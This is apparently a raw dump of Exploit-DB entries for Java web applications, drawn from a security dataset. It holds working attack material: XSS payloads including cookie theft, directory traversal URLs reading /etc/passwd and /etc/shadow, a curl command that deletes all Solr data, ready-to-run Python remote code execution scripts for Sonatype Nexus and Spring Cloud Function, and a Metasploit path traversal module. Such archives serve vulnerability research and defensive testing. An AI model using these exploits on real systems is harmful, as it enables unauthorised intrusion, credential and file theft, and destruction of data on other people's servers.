deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33939
Description: ShopEx Single 4.5.1 - 'errinfo' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2010-02-06
Author: cp77fk4r

Exploit:
source: https://www.securityfocus.com/bid/39941/info

ShopEx Single is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ShopEx Single 4.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?gOo=ZXJyb3IuZHd0&errinfo=PHNjcmlwdD5hbGVydCgiWFNTRUQiKTwvc2NyaXB0Pg==
Exploit-DB #49901
Description: Shopizer 2.16.0 - 'Multiple' Cross-Site Scripting (XSS)
Type: webapps
Platform: java
Date: 2021-05-24
Author: Marek Toth

Exploit:
# Exploit Title: Shopizer 2.16.0 - 'Multiple' Cross-Site Scripting (XSS)
# Date: 23-05-2021
# Exploit Author: Marek Toth 
# Vendor Homepage: https://www.shopizer.com
# Software Link: https://github.com/shopizer-ecommerce/shopizer
# Version: <= 2.16.0
# CVE: CVE-2021-33561, CVE-2021-33562

Stored XSS - 'customer_name' Administration 

Description:
A stored cross-site scripting (XSS) vulnerability in Shopizer before version 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration and saved in the database. The code is executed for any user of store administration when information is fetched from backend.

Steps to reproduce:
1. Open "http://example.com/admin/" and login to the administration
2. Open "Customers" (http://example.com/admin/customers/list.html) and click on the "Details" button
3. Change customer name to <script>alert(1)</script> and save it
4. Open "Customers" -> XSS payload will trigger

Except "Customers" section, XSS will be executed in "Orders" (/admin/orders/list.html) and "Recent orders" (/admin/home.html)

Reflected XSS - 'ref' parameter 

Description:
A reflected cross-site scripting (XSS) vulnerability in Shopizer before version 2.17.0 allows remote attackers to inject arbitrary web script or HTML via the 'ref' parameter.

Payloads: 
'+alert(1)+'
'+eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))+'

PoC:
http://example.com/shop/product/vintage-bag-with-leather-bands.html/ref='+alert(1)+'
Exploit-DB #20925
Description: SiteWare 2.5/3.0/3.1 Editor Desktop - Directory Traversal
Type: webapps
Platform: java
Date: 2001-06-13
Author: Foundstone Labs

Exploit:
source: https://www.securityfocus.com/bid/2868/info

Screaming Media is a provider for custom web content. SiteWare Editor Desktop is the web-based administration tool for managing Screaming Media content.

SiteWare Editor Desktop is prone to directory traversal attacks which can lead to disclosure of arbitrary webserver-readable files on the vulnerable host. This is due to the fact that the software does not filter '../' character sequences from HTTP Requests. 

http://server:port/SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../etc/passwd
Exploit-DB #39418
Description: Solr 3.5.0 - Arbitrary Data Deletion
Type: webapps
Platform: java
Date: 2016-02-08
Author: N37

Exploit:
# Exploit Title: All Solr Data Can Be Delete
# Google Dork: intext:[Schema] [Config] [Analysis] [Schema Browser]
[Statistics] [Info] [Distribution] [Ping] [Logging]
# Date: 5/2/2016
# Exploit Author: N37 [Myanmar]
# Vendor Homepage: http://lucene.apache.org/solr/
# Software Link:  https://archive.apache.org/dist/lucene/solr/3.5.0/
# Version: 3.5.0
# Tested on: fedora 23


Solr is  open source enterprise search platform built on Apache Lucene.

It can be delete all data in solr. solr are use nlp, money of data research, data mining,  some of mobile backend on vps .


POC or Eg.

This Query is shwo all data in solr :
http://server:8080/solr/lambeth_planning/select/?q=*%3A*&version=2.2&start=0&rows=10&indent=on

You can delete all data with curl in terminal :
curl -X GET "server:8080/solr/lambeth_locations/update?stream.body=<delete><query>*:*<%2Fquery><%2Fdelete>&commit=true"

now you can check with first query in browser. All data are deleted.


Regards,
N37 [Myanmar]
Exploit-DB #49385
Description: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
Type: webapps
Platform: java
Date: 2021-01-06
Author: 1F98D

Exploit:
# Exploit Title: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
# Exploit Author: 1F98D
# Original Author: Alvaro Muñoz
# Date: 27 May 2020
# Vendor Hompage: https://www.sonatype.com/
# CVE: CVE-2020-10199
# Tested on: Windows 10 x64
# References:
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
# 
# Nexus Repository Manager 3 versions 3.21.1 and below are vulnerable
# to Java EL injection which allows a low privilege user to remotely
# execute code on the target server.
#
#!/usr/bin/python3

import sys
import base64
import requests

URL='http://192.168.1.1:8081'
CMD='cmd.exe /c calc.exe'
USERNAME='admin'
[CREDENTIAL_REDACTED]'

s = requests.Session()
print('Logging in')
body = {
    'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'),
    'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8')
}
r = s.post(URL + '/service/rapture/session',data=body)
if r.status_code != 204:
    print('Login unsuccessful')
    print(r.status_code)
    sys.exit(1)
print('Logged in successfully')

body = {
    'name': 'internal',
    'online': True,
    'storage': {
        'blobStoreName': 'default',
        'strictContentTypeValidation': True
    },
    'group': {
        'memberNames': [
            '$\\A{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\''+CMD+'\')}"'
        ]
    },
}
r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body)
if 'java.lang.ProcessImpl' in r.text:
    print('Command executed')
    sys.exit(0)
else:
    print('Error executing command, the following was returned by Nexus')
    print(r.text)
Exploit-DB #33687
Description: Sparta Systems TrackWise EQms - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: java
Date: 2010-03-02
Author: Yaniv Miron

Exploit:
source: https://www.securityfocus.com/bid/38483/info

Sparta Systems TrackWise EQMS is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 


http://www.example.com/[TrackWiseDir]/servlet/TeamAccess/Login/"><script>alert(&#039;XSS-By-Lament&#039;)</script>
http://www.example.com/[TrackWiseDir]/servlet/TeamAccess/BatchEditProgress.html/"><script>alert(&#039;XSS-By-Lament&#039;)</script>
Exploit-DB #51577
Description: Spring Cloud 3.2.2 - Remote Command Execution (RCE)
Type: webapps
Platform: java
Date: 2023-07-11
Author: GatoGamer1155

Exploit:
# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)
# Date: 07/07/2023
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://spring.io/projects/spring-cloud-function/
# Description: Exploit to execute commands exploiting CVE-2022-22963
# Software Link: https://spring.io/projects/spring-cloud-function
# CVE: CVE-2022-22963

import requests, argparse, json

parser = argparse.ArgumentParser()
parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)
parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True)
args = parser.parse_args()

print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")

headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }
data = {"data": ""}

request = requests.post(args.url, data=data, headers=headers)
response = json.dumps(json.loads(request.text), indent=2)
print(response)
Exploit-DB #46772
Description: Spring Cloud Config 2.1.x - Path Traversal (Metasploit)
Type: webapps
Platform: java
Date: 2019-04-30
Author: Dhiraj Mishra

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Spring Cloud Config Server Directory Traversal',
      'Description' => %q{
        This module exploits an unauthenticated directory traversal
vulnerability
        which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,
        versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
Spring
        Cloud Config listens by default on port 8888.
      },
      'References'  =>
        [
          ['CVE', '2019-3799'],
          ['URL', 'https://pivotal.io/security/cve-2019-3799']
        ],
      'Author'      =>
        [
          'Vern', # Vulnerability discovery
          'Dhiraj Mishra' # Metasploit module
        ],
      'DisclosureDate' => '2019-04-17',
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(8888),
        OptString.new('FILEPATH', [true, "The path to the file to read",
'/etc/passwd']),
        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
      ])
  end

  def data
    Rex::Text.rand_text_alpha(3..8)
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
    uri = "/#{data}/#{data}/master/#{traversal}"

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    vprint_good("#{peer} - #{res.body}")
    path = store_loot(
      'springcloud.traversal',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end
Exploit-DB #37416
Description: Squiz CMS - Multiple Cross-Site Scripting / XML External Entity Injection Vulnerabilities
Type: webapps
Platform: java
Date: 2012-06-14
Author: Nadeem Salim

Exploit:
source: https://www.securityfocus.com/bid/54049/info

Squiz CMS is prone to multiple cross-site scripting vulnerabilities and an XML external entity injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers may exploit these issues to execute arbitrary code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, to perform XML based attacks (including local file disclosure), TCP port scans, and a denial of service (DoS) condition; other attacks are also possible.

Squiz CMS 4.6.3 is vulnerable; other versions may also be affected. 

http://www.example.com/_admin/?SQ_BACKEND_PAGE=main&backend_section=am&am_section=edit_asset"><script>alert(document.cookie)</script>&assetid=73&sq_asset_path=%2C1%2C73&sq_link_path=%2C0%2C74&asset_ei_screen=details [XSS]
Exploit-DB #30674
Description: Stringbeans Portal 3.2 Projects Script - Cross-Site Scripting
Type: webapps
Platform: java
Date: 2007-10-15
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/26082/info

Stringbeans Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Stringbeans Portal 3.2 is vulnerable; other versions may also be affected.

http://www.example.com/portal/projects?project_id=3&project_name=[XSS]
Exploit-DB #32862
Description: Sun Java System Calendar Server 6 - 'command.shtml' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2009-03-31
Author: SCS team

Exploit:
source: https://www.securityfocus.com/bid/34153/info

Sun Java System Calendar Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

https://www.example.com:3443//command.shtml?view=overview&id=HK8CjQOkmbY&date=20081217T200734%27;alert('xss');//Z&caliad=someid@test.com&security=1
Exploit-DB #32863
Description: Sun Java System Communications Express 6.3 - 'search.xml' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2009-05-20
Author: SCS team

Exploit:
source: https://www.securityfocus.com/bid/34154/info

Sun Java System Communications Express is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

https://www.example.com/uwc/abs/search.xml?bookid=e11e46531a8a0&j_encoding=UTF-8&uiaction=quickaddcontact&entryid=&valueseparator=%3B&prefix=abperson_&stopalreadyselected=1&isselchanged=0&idstoadd=&selectedbookid=&type=abperson%2Cgroup&wcfg_groupview=&wcfg_searchmode=&stopsearch=1&expandgroup=&expandselectedgroup=&expandonmissing=&nextview=&bookid=e11e46531a8a0&actionbookid=e11e46531a8a0&searchid=7&filter=entry%2Fdisplayname%3D*&firstentry=0&sortby=%2Bentry%2Fdisplayname&curbookid=e11e46531a8a0&searchelem=0&searchby=contains&searchstring=Search+for&searchbookid=e11e46531a8a0&abperson_givenName=aa&abperson_sn=aa&abperson_piEmail1=a%40a.com&abperson_piEmail1Type=work&abperson_piPhone1=11&abperson_piPhone1Type=work&quickaddprefix=abperson_&abperson_displayName=%3Cscript%3Ealert%28%27xss2%27%29%3C%2Fscript%3E%2C+%3Cscript%3Ealert%28%27xss1%27%29%3C%2Fscript%3E&abperson_entrytype=abperson&abperson_memberOfPIBook=e11e46531a8a0
Exploit-DB #32864
Description: Sun Java System Communications Express 6.3 - 'UWCMain' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2009-05-20
Author: SCS team

Exploit:
source: https://www.securityfocus.com/bid/34155/info

Sun Java System Communications Express is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

This issue is tracked by Sun Alert ID 258068.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The following are vulnerable:

Sun Java System Communications Express 6.3 for Sun Java Communications Suite 5 and 6
Sun Java System Communications Express 6 2005Q4 (6.2) 

http://www.example.com/uwc/base/UWCMain?anon=true&calid=test@test.com&caltype=temporaryCalids&date=20081223T143836Z&category=All&viewctx=day&temporaryCalendars=test@test.com%27;alert(%27hello%27);a=%27
Exploit-DB #32940
Description: Sun Java System Delegated Administrator 6.x - HTTP Response Splitting
Type: webapps
Platform: java
Date: 2009-04-21
Author: SCS team

Exploit:
source: https://www.securityfocus.com/bid/34643/info

Sun Java System Delegated Administrator is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

The following example HTTP session is available:

$ openssl s_client -connect <server>:443

GET
/da/DA/Login?Login.HelpHREF=http://www.example.com/&com_sun_web_ui_popup=false&HELP_PAGE=/help/%0AX-Tag:%20Core%20Security%20Technologies%0A%0D&jato.pageSession=
HTTP/1.1
Host: <server>

HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Mon, 20 Apr 2009 18:21:48 GMT
Cache-control: private
Location: <server>
X-Tag: Core Security Technologies
Content-length: 0
Content-type: text/htm
Exploit-DB #31621
Description: Sun Java System Messenger Express 6.1-13-15 - 'sid' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2008-04-07
Author: syniack

Exploit:
source: https://www.securityfocus.com/bid/28649/info

Sun Java System Messenger Express is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Sun Java System Messenger Express 6.1-13-15 is vulnerable; other versions may also be affected. 

http://www.example.com/en/mail.html?sid=<something>&lang="><script>alert(1);</script>
Exploit-DB #32858
Description: Sun Java System Messenger Express 6.3-0.15 - 'error' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2009-03-17
Author: syniack

Exploit:
source: https://www.securityfocus.com/bid/34140/info

Sun Java System Messenger Express is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Sun Java System Messenger Express 6.3-0.15 is vulnerable; other versions may also be affected. 

http://example.com/?user=admin&error= <http://example.com/?user=admin&error=>"><script>alert(1);</script>
Exploit-DB #25702
Description: Sun JavaMail 1.x - Multiple Information Disclosure Vulnerabilities
Type: webapps
Platform: java
Date: 2005-05-24
Author: Ricky Latt

Exploit:
source: https://www.securityfocus.com/bid/13753/info

Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported:

A remote attacker may reveal the contents of email attachments of other users.

A remote attacker may download and peruse arbitrary files with the privileges of the affected service.

A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks. 

First issue:
http://example.com/mailboxesdir/user2@example.com/
http://example.com/mailboxesdir/user3@example.com/

Second issue:
http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml
http://example.com/Download?/var/serviceprovider/web/login.jsp
http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp
http://example.com/Download?/var/serviceprovider/web/addbook.jsp
http://example.com/Download?/var/serviceprovider/web/compose.jsp
http://example.com/Download?/var/serviceprovider/web/folder.jsp
http://example.com/Download?/etc/passwd
http://example.com/Download?/etc/shadow
http://example.com/Download?/etc/group
http://example.com/Download?/var/log/boot.log
http://example.com/Download?/var/log/maillog
Exploit-DB #21879
Description: Sun ONE Starter Kit 2.0 / ASTAware SearchDisc 3.1 - Search Engine Directory Traversal
Type: webapps
Platform: java
Date: 2002-09-30
Author: ET LoWNOISE

Exploit:
source: https://www.securityfocus.com/bid/5828/info

A vulnerability has been reported for the Sun ONE Starter Kit 2.0 and ASTAware SearchDisc. The Starter Kit includes a search engine facility provided for easy information retrieval. The search engine included with the Starter Kit is a modified version of ASTAWare SearchDisc. Reportedly, the search engine is vulnerable to directory traversal attacks.

An attacker can use the information obtained through this manner to launch potentially destructive attacks against a vulnerable system.

This vulnerability affects both the Sun ONE Starter Kit and ASTAware SearchDisc.

http://target:6015/../../../../../
http://target:6016/../../../../../
http://SearchDisk:6017/etc/Password
http://SearchDisk:6017/etc/Root
Exploit-DB #40437
Description: Symantec Messaging Gateway 10.6.1 - Directory Traversal
Type: webapps
Platform: java
Date: 2016-09-28
Author: R-73eN

Exploit:
# Title : Symantec Messaging Gateway <= 10.6.1 Directory Traversal
# Date : 28/09/2016
# Author : R-73eN
# Tested on : Symantec Messaging Gateway 10.6.1 (Latest)
# Software : https://www.symantec.com/products/threat-protection/messaging-gateway
# Vendor : Symantec
# CVE : CVE-2016-5312
# Vendor Advisory and Fix: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160927_00
# 
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
#
# DESCRIPTION:
#
# A charting component in the Symantec Messaging Gateway control center does not properly sanitize user input submitted for charting requests. 
# This could potentially result in an authorized but less privileged user gaining access to paths outside the authorized directory. 
# This could potentially provide read access to some files/directories on the server for which the user is not authorized.
#
The problem relies in the package kavachart-kcServlet-5.3.2.jar , File : com/ve/kavachart/servlet/ChartStream.java
The vulnerable code is
extends HttpServlet {
    public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
        block6 : {
            try {
                String string = httpServletRequest.getParameter("sn"); 
                //**** Taking parameter "sn" and writing it to the "string variable"


                if (string == null) break block6;
                String string2 = string.substring(string.length() - 3);
                 
                byte[] arrby = (byte[])this.getServletContext().getAttribute(string); 
           
                //**** The string variable is passed here without any sanitanization for directory traversal
                //**** and you can successfully use this to do a directory traversal.
                
                if (arrby != null) {
                    httpServletResponse.setContentType("image/" + string2);
                    ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
                    httpServletResponse.setContentLength(arrby.length);
                    servletOutputStream.write(arrby);
                    this.getServletContext().removeAttribute(string);
                    break block6;
                }


POC: 
https://IP-address:PORT/brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/lib